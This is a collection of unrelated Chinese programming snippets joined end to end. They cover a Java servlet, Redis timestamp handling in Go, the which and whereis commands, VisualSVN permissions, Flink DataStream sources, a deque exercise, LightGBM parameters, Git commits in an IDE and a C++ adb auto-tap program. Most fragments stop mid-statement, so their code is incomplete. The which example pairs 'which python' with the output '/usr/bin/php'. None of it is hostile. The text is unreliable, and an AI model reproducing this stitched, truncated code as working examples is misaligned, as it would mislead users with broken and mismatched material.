service=WorkProvinceService.getInstance(); //统计学生在全国各省工作的信息 List<ProvinceTest> l=service.getProvinces(); //将List转为JSON response.getWriter().print(JSON.toJSON(l)); } } Service方法 public class WorkProvinceService { private static WorkProvinceService service=null; private WorkProvinceService() { } public static WorkProvinceService getInstance() { if(service==null) { service=new WorkProvinceService(); } return service; } public List<ProvinceTest> getProvinces() { return CommonDao.
redis 存时间戳 最方便 如果要存时间的话: hset的时候有两种: 一、time类型的.String() HSet(key, "replyAt", time.Now().String()) 2019-10-14 10:28:34.184535257 +0800 CST m=+152806.843317207 二、time类型的Marshal先转json字符串,再Unmarshal转相应的数据结构 func (r *RedisClient) HashMapSet(key string, v interface{}) error { b, err := json.Marshal(v) if err != nil { return err } var f interface{} if err := json.Unmarshal(b, &f); err != nil { return err } data := f.(map[string]interface{}) return r.HMSet(key, data).Err() } createdAt -> 2019-10-14T11:15:27.2713176+08:00 time在Redis里是string类型 只显示的话可以直接读取这个string类型并返回,如果有的地方用到这个string时间的time类型的话,才需要转换 2019-09-27T08:32:00+08:00 2006-01-02T15:04:05Z07:00 2019-10-09 07:27:56.37285012 +0000 UTC 2006-01-02 15:04:05.
查看命令或者文件所在的位置
1. which
查看当前要执行的命令所在的路径
which python /usr/bin/php which 命令的原理:在PATH变量指定的路径中,搜索某个系统命令的位置,并且返回第一个搜索结果。也就是说,使用which命令,就可以看到某个系统命令是否存在,以及执行的到底是哪一个位置的命令。 2. where
查看一个命令或者文件所在的路径
whereis python python: /usr/bin/python2.7-config /usr/bin/python3.5 /usr/bin/python3.5m /usr/bin/python2.7 /usr/bin/python /usr/lib/python3.5 /usr/lib/python2.7 /etc/python3.5 /etc/python2.7 /etc/python /usr/local/lib/python3.5 /usr/local/lib/python2.7 /usr/include/python3.5m /usr/include/python2.7 /usr/share/python /usr/share/man/man1/python.1.gz whereis 命令原理:只能用于程序名的搜索,而且只搜索二进制文件(参数-b)、man说明文件(参数-m)和源代码文件(参数-s)。如果省略参数,则返回所有信息。
关于 访问权限错误,网上一大堆的都是说要修改配置文件(一般出现这个原因是因为这个仓库是由命令行新建的)、
解决办法 使用工具:VisualSVN Server
不能访问的远程仓库 music
我们在服务端软件的界面中操作:
这个仓库不能访问。
解决办法 右键music仓库选择Properties(属性)如下:
再打开的属性界面添加用户,可以选择用户的权限是可读还是读写等:
然后点击应用确定,即可访问。如下:
好啦,不能访问问题解决!,有问题欢迎批评指正
Flink API介绍 Flink提供了三层API,每层在简洁性和表达性之间进行了不同的权衡。
flink-api
ProcessFunction是Flink提供的最具表现力的功能接口,它提供了对时间和状态的细粒度控制,能够任意修改状态。所以ProcessFunction能够为许多有事件驱动的应用程序实现复杂的事件处理逻辑。
DataStream API为许多通用的流处理操作提供原语,比如window。DataStream API适用于Java和Scala,它基于函数实现,比如map()、reduce()等。我们也可以自己扩展接口自定义函数。
SQL & Table API 这两个都是关系API,是批处理和流处理统一的API。Table API和SQL利用Apache Calcite进行解析、验证和查询优化。它们可以与DataStream和DataSet API无缝集成,并支持用户定义标量、聚合和表值函数。关系API(relational api)目标在于简化数据分析、数据流水线(data pipelining)和ETL。
我们一般主要使用DataStream进行数据处理,下面介绍的API也是DataStream相关的API。
DataStream API DataStream是Flink编写流处理作业的API。我们前面说过一个完整的Flink处理程序应该包含三部分:数据源(Source)、转换操作(Transformation)、结果接收(Sink)。下面我们从这三部分来看DataStream API。
数据源(Source) Flink应用程序从数据源获取要处理的数据,DataStream通过StreamExecutionEnvironment.addResource(SourceFunction) 来添加数据源。为了方便使用,Flink预提几类预定义的数据源,比如读取文件的Source、通过Sockt读取的Source、从内存中获取的Source等。
基于集合的预定义Source 基于集合的数据源一般是指从内存集合中直接读取要处理的数据,StreamExecutionEnvironment提供了4类预定义方法。
fromCollection
fromCollection是从给定的集合中创建DataStream,StreamExecutionEnvironment提供了4种重载方法:
fromCollection(Collection<T> data):通过给定的集合创建DataStream。返回数据类型为集合元素类型。fromCollection(Collection<T> data,TypeInformation<T> typeInfo):通过给定的非空集合创建DataStream。返回数据类型为typeInfo。fromCollection(Iterator<T> data,Class<T> type):通过给定的迭代器创建DataStream。返回数据类型为type。fromCollection(Iterator<T> data,TypeInformation<T> typeInfo):通过给定的迭代器创建DataStream。返回数据类型为typeInfo。 fromParallelCollection
fromParallelCollection和fromCollection类似,但是是并行的从迭代器中创建DataStream。
fromParallelCollection(SplittableIterator<T> data,Class<T> type)fromParallelCollection(SplittableIterator<T>,TypeInfomation typeInfo) 和Iterable中Spliterator类似,这是JDK1.8新增的特性,并行读取集合元素。
fromElements
fromElements从给定的对象序列中创建DataStream,StreamExecutionEnvironment提供了2种重载方法:
fromElements(T... data):从给定对象序列中创建DataStream,返回的数据类型为该对象类型自身。fromElements(Class<T> type,T... data):从给定对象序列中创建DataStream,返回的数据类型type。 generateSequence
generateSequence(long from,long to)从给定间隔的数字序列中创建DataStream,比如from为1,to为10,则会生成1~10的序列。
基于Socket的预定义Source 我们还可以通过Socket来读取数据,通过Sockt创建的DataStream能够从Socket中无限接收字符串,字符编码采用系统默认字符集。当Socket关闭时,Source停止读取。Socket提供了5个重载方法,但是有两个方法已经标记废弃。
socketTextStream(String hostname,int port):指定Socket主机和端口,默认数据分隔符为换行符(\n)。socketTextStream(String hostname,int port,String delimiter):指定Socket主机和端口,数据分隔符为delimiter。socketTextStream(String hostname,int port,String delimiter,long maxRetry):该重载方法能够当与Socket断开时进行重连,重连次数由maxRetry决定,时间间隔为1秒。如果为0则表示立即终止不重连,如果为负数则表示一直重试。 基于文件的预定义Source 基于文件创建DataStream主要有两种方式:readTextFile和readFile。(readFileStream已废弃)。readTextFile就是简单读取文件,而readFile的使用方式比较灵活。
6-2 双端队列 (25 分) 双端队列(deque,即double-ended queue的缩写)是一种具有队列和栈性质的数据结构,即可以(也只能)在线性表的两端进行插入和删除。若以顺序存储方式实现双端队列,请编写例程实现下列操作:
Push(X,D):将元素X插入到双端队列D的头;
Pop(D):删除双端队列D的头元素,并返回;
Inject(X,D):将元素X插入到双端队列D的尾部;
Eject(D):删除双端队列D的尾部元素,并返回。
函数接口定义:
bool Push( ElementType X, Deque D ); ElementType Pop( Deque D ); bool Inject( ElementType X, Deque D ); ElementType Eject( Deque D ); 其中Deque结构定义如下:
typedef int Position; typedef struct QNode *PtrToQNode; struct QNode { ElementType *Data; /* 存储元素的数组 */ Position Front, Rear; /* 队列的头、尾指针 */ int MaxSize; /* 队列最大容量 */ }; typedef PtrToQNode Deque; 注意:Push和Inject应该在正常执行完操作后返回true,或者在出现非正常情况时返回false。当Front和Rear相等时队列为空,Pop和Eject必须返回由裁判程序定义的ERROR。
裁判测试程序样例:
#include <stdio.
LGB:
1、lgb.Dataset()
train_data = lgb.Dataset(data, label=label, feature_name=['c1', 'c2', 'c3'], categorical_feature=['c3'], weight=w ) LightGBM 可以直接使用 categorical features(分类特征)作为 input(输入). 它不需要被转换成 one-hot coding(独热编码), 并且它比 one-hot coding(独热编码)更快(约快上 8 倍) 注意: 在你构造 Dataset 之前, 你应该将分类特征转换为 int 类型的值. 需要时可以设置权重weight,也可用函数train_data.set_weight(w) 2、交叉验证cv
num_round = 10
lgb.cv(param, train_data, num_round, nfold=5)
3、
#创建成lgb特征的数据集格式
lgb_train = lgb.Dataset(X_train, y_train) # 将数据保存到LightGBM二进制文件将使加载更快
lgb_eval = lgb.Dataset(X_test, y_test, reference=lgb_train) # 创建验证数据
#将参数写成字典下形式
params = {
'task': 'train', 'boosting_type': 'gbdt', # 设置提升类型 'objective': 'regression', # 目标函数 'metric': {'l2', 'auc'}, # 评估函数 'num_leaves': 31, # 叶子节点数 'learning_rate': 0.
1.右键项目选择Git下的Add添加到本地仓库
2.右键项目选择Git下的按钮
3.更改需要更新的文件,点击右下角的commit and push 将项目更新到本地仓库
4.继续弹出 如下图所示:点击push 上传到远程仓库
5.提示如下图,则代表提交到远程仓库成功!(此刻远程仓库的项目被更新到最新)
文章目录 一、只是adb二、OpenCV图像分析+adb 一、只是adb #define _CRT_SECURE_NO_WARNINGS #include<iostream> #include<thread> /* 头文件声明 */ #if defined(__linux__) // Linux系统 #include<unistd.h> #elif defined(_WIN32) // Windows系统 #include<windows.h> #endif using namespace std; /* 参数配置 */ // 线程的数量 #define THREAD_ADVERTISEMENT_SIZE 7 // 点击延迟,单位毫秒 #define TAP_TIME 500 /* 时间休眠函数 */ // 单位秒 void my_p_sleep(int time) { #if defined(__linux__) // Linux系统 sleep(time); #elif defined(_WIN32) // Windows系统 Sleep((time*1000)); #endif } // 单位毫秒 void my_m_sleep(int time) { #if defined(__linux__) // Linux系统 usleep(time*1000); #elif defined(_WIN32) // Windows系统 Sleep(time); #endif } // 点击事件:点餐按钮 void tap_meal() { int i = TAP_TIME / 3; while (i--) { // 点击位置 int x[3] = { 410,662,904 }; int y[2] = { 712,1011 }; printf("